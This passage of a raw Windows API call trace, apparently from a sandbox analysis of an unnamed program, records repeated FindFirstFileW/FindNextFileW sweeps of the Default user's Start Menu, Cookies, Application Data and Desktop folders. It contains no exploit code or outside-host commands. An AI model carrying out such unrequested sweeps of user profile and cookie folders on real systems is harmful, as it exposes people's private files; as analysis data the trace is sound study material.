ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0210.655] FindClose (in: hFindFile=0x1d469a00 | out: hFindFile=0x1d469a00) returned 1 [0210.656] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbae0) returned 1 [0210.656] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbaa0) returned 1 [0210.656] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1db3f0) returned 1 [0210.656] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility", nBufferLength=0x105, lpBuffer=0x1e1daed0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility", lpFilePart=0x0) returned 0x54 [0210.657] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessibility\\*"), lpFindFileData=0x1e1db100 | out: lpFindFileData=0x1e1db100*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x37ca39c, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x37ca39c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469dc0 [0210.658] FindNextFileW (in: hFindFile=0x1d469dc0, lpFindFileData=0x1e1db0c0 | out: lpFindFileData=0x1e1db0c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x37ca39c, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x37ca39c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0210.658] FindNextFileW (in: hFindFile=0x1d469dc0, lpFindFileData=0x1e1db0c0 | out: lpFindFileData=0x1e1db0c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x37a4145, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x973fb817, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x9ee2becc, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x238, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0210.659] FindNextFileW (in: hFindFile=0x1d469dc0, lpFindFileData=0x1e1db0c0 | out: lpFindFileData=0x1e1db0c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18863489, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x18863489, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x18863489, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x452, dwReserved0=0x0, dwReserved1=0x0, cFileName="Magnify.lnk", cAlternateFileName="")) returned 1 [0210.659] FindNextFileW (in: hFindFile=0x1d469dc0, lpFindFileData=0x1e1db0c0 | out: lpFindFileData=0x1e1db0c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x188896e8, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x188896e8, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x188896e8, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x454, dwReserved0=0x0, dwReserved1=0x0, cFileName="Narrator.lnk", cAlternateFileName="")) returned 1 [0210.659] FindNextFileW (in: hFindFile=0x1d469dc0, lpFindFileData=0x1e1db0c0 | out: lpFindFileData=0x1e1db0c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1870bf67, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x1870bf67, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x1870bf67, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x452, dwReserved0=0x0, dwReserved1=0x0, cFileName="On-Screen Keyboard.lnk", cAlternateFileName="")) returned 1 [0210.659] FindNextFileW (in: hFindFile=0x1d469dc0, lpFindFileData=0x1e1db0c0 | out: lpFindFileData=0x1e1db0c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0210.659] FindClose (in: hFindFile=0x1d469dc0 | out: hFindFile=0x1d469dc0) returned 1 [0210.659] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1db320) returned 1 [0210.660] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1db2e0) returned 1 [0210.660] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1db3f0) returned 1 [0210.660] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility", nBufferLength=0x105, lpBuffer=0x1e1daed0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility", lpFilePart=0x0) returned 0x54 [0210.660] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessibility\\*"), lpFindFileData=0x1e1db100 | out: lpFindFileData=0x1e1db100*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x37ca39c, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x37ca39c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a120 [0210.660] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1db0c0 | out: lpFindFileData=0x1e1db0c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x37ca39c, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x37ca39c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0210.660] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1db0c0 | out: lpFindFileData=0x1e1db0c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x37a4145, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x973fb817, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x9ee2becc, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x238, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0210.661] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1db0c0 | out: lpFindFileData=0x1e1db0c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18863489, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x18863489, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x18863489, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x452, dwReserved0=0x0, dwReserved1=0x0, cFileName="Magnify.lnk", cAlternateFileName="")) returned 1 [0210.661] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1db0c0 | out: lpFindFileData=0x1e1db0c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x188896e8, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x188896e8, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x188896e8, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x454, dwReserved0=0x0, dwReserved1=0x0, cFileName="Narrator.lnk", cAlternateFileName="")) returned 1 [0210.661] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1db0c0 | out: lpFindFileData=0x1e1db0c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1870bf67, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x1870bf67, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x1870bf67, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x452, dwReserved0=0x0, dwReserved1=0x0, cFileName="On-Screen Keyboard.lnk", cAlternateFileName="")) returned 1 [0210.661] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1db0c0 | out: lpFindFileData=0x1e1db0c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1870bf67, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x1870bf67, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x1870bf67, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x452, dwReserved0=0x0, dwReserved1=0x0, cFileName="On-Screen Keyboard.lnk", cAlternateFileName="")) returned 0 [0210.662] FindClose (in: hFindFile=0x1d46a120 | out: hFindFile=0x1d46a120) returned 1 [0210.662] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1db320) returned 1 [0210.662] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1db2e0) returned 1 [0210.662] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1db3f0) returned 1 [0210.662] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories", nBufferLength=0x105, lpBuffer=0x1e1daed0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories", lpFilePart=0x0) returned 0x52 [0210.662] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\*"), lpFindFileData=0x1e1db100 | out: lpFindFileData=0x1e1db100*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x37ca39c, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x37ca39c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469460 [0210.662] FindNextFileW (in: hFindFile=0x1d469460, lpFindFileData=0x1e1db0c0 | out: lpFindFileData=0x1e1db0c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x37ca39c, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x37ca39c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0210.663] FindNextFileW (in: hFindFile=0x1d469460, lpFindFileData=0x1e1db0c0 | out: lpFindFileData=0x1e1db0c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x37ca39c, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x973fb817, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x9ee05c71, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x148, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0210.663] FindNextFileW (in: hFindFile=0x1d469460, lpFindFileData=0x1e1db0c0 | out: lpFindFileData=0x1e1db0c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2206112b, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x2206112b, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x2206112b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notepad.lnk", cAlternateFileName="")) returned 1 [0210.663] FindNextFileW (in: hFindFile=0x1d469460, lpFindFileData=0x1e1db0c0 | out: lpFindFileData=0x1e1db0c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0210.663] FindClose (in: hFindFile=0x1d469460 | out: hFindFile=0x1d469460) returned 1 [0210.663] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1db320) returned 1 [0210.663] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1db2e0) returned 1 [0210.664] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1db3f0) returned 1 [0210.664] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories", nBufferLength=0x105, lpBuffer=0x1e1daed0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories", lpFilePart=0x0) returned 0x52 [0210.664] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\*"), lpFindFileData=0x1e1db100 | out: lpFindFileData=0x1e1db100*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x37ca39c, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x37ca39c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469520 [0210.664] FindNextFileW (in: hFindFile=0x1d469520, lpFindFileData=0x1e1db0c0 | out: lpFindFileData=0x1e1db0c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x37ca39c, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x37ca39c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0210.664] FindNextFileW (in: hFindFile=0x1d469520, lpFindFileData=0x1e1db0c0 | out: lpFindFileData=0x1e1db0c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x37ca39c, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x973fb817, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x9ee05c71, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x148, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0210.665] FindNextFileW (in: hFindFile=0x1d469520, lpFindFileData=0x1e1db0c0 | out: lpFindFileData=0x1e1db0c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2206112b, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x2206112b, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x2206112b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notepad.lnk", cAlternateFileName="")) returned 1 [0210.665] FindNextFileW (in: hFindFile=0x1d469520, lpFindFileData=0x1e1db0c0 | out: lpFindFileData=0x1e1db0c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2206112b, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x2206112b, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x2206112b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notepad.lnk", cAlternateFileName="")) returned 0 [0210.665] FindClose (in: hFindFile=0x1d469520 | out: hFindFile=0x1d469520) returned 1 [0210.665] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1db320) returned 1 [0210.665] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1db2e0) returned 1 [0210.665] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1db3f0) returned 1 [0210.665] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance", nBufferLength=0x105, lpBuffer=0x1e1daed0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance", lpFilePart=0x0) returned 0x52 [0210.665] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\maintenance\\*"), lpFindFileData=0x1e1db100 | out: lpFindFileData=0x1e1db100*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x37ca39c, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x37ca39c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469220 [0210.667] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1db0c0 | out: lpFindFileData=0x1e1db0c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x37ca39c, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x37ca39c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0210.667] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1db0c0 | out: lpFindFileData=0x1e1db0c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x37ca39c, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x973fb817, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x973fb817, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0210.667] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1db0c0 | out: lpFindFileData=0x1e1db0c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0210.667] FindClose (in: hFindFile=0x1d469220 | out: hFindFile=0x1d469220) returned 1 [0210.667] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1db320) returned 1 [0210.667] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1db2e0) returned 1 [0210.681] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0210.682] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Application Data", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Application Data", lpFilePart=0x0) returned 0x21 [0210.682] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Application Data\\*" (normalized: "c:\\users\\default\\application data\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0210.682] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de210) returned 1 [0210.687] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0210.687] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Cookies", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Cookies", lpFilePart=0x0) returned 0x18 [0210.687] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Cookies\\*" (normalized: "c:\\users\\default\\cookies\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0210.687] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de210) returned 1 [0211.357] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0211.357] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Cookies", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Cookies", lpFilePart=0x0) returned 0x18 [0211.357] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Cookies\\*" (normalized: "c:\\users\\default\\cookies\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0211.358] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de210) returned 1 [0211.361] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0211.361] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Desktop", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Desktop", lpFilePart=0x0) returned 0x18 [0211.361] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Desktop\\*" (normalized: "c:\\users\\default\\desktop\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0211.362] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.362] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0211.362] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0211.362] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de1a0) returned 1 [0211.362] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de160) returned 1 [0211.362] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0211.362] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Desktop", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Desktop", lpFilePart=0x0) returned 0x18 [0211.362] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Desktop\\*" (normalized: "c:\\users\\default\\desktop\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, 